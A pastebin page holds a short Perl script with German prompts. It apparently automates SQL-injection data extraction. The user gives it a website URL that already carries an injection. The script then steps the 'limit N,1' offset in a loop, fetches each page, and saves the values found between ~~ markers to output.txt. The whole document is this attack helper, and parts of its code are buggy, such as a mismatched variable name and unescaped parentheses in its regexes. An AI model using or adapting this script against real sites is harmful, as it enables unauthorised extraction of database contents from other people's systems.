- use LWP::Simple;
- my $counter = 0;
- my $limit = 10;
- my $website = "";
- print "Wieviele tables ausgeben? : ";
- my $limit = <STDIN>;
- print "Bitte Website mit injection eingeben (Systax siehe readme.html) ? : ";
- my $website = <STDIN>;
- $website =~ s/concat(/concat(0x7E,0x7E,/;
- $website =~ s/)/,0x7E,0x7E)/;
- while( $counter <= $limit ) {
- if( $counter == 0) {
- $website =~ s/limit+0,1/limit+$counter,1/;
- }
- else {
- my $tausch = $counter-1;
- $website =~ s/limit+$tausch,1/limit+$counter,1/;
- }
- my $stWebsite = get($website);
- my @data = split(/~~/, $stWebsite);
- my $ausgabe = @data[1];
- undef @data;
- print "$counter => $ausgaben";
- open FILE, ">> output.txt" or die $!;
- print FILE "$counter => $ausgaben";
- close(FILE);
- $counter++;
- }
- system("pause");
Undefined
By: Guest | Date: Apr 24 2009 10:16 | Format: None | Expires: never | Size: 825 B | Hits: 898
Latest pastes
1 days ago
2 days ago
5 days ago
6 days ago
6 days ago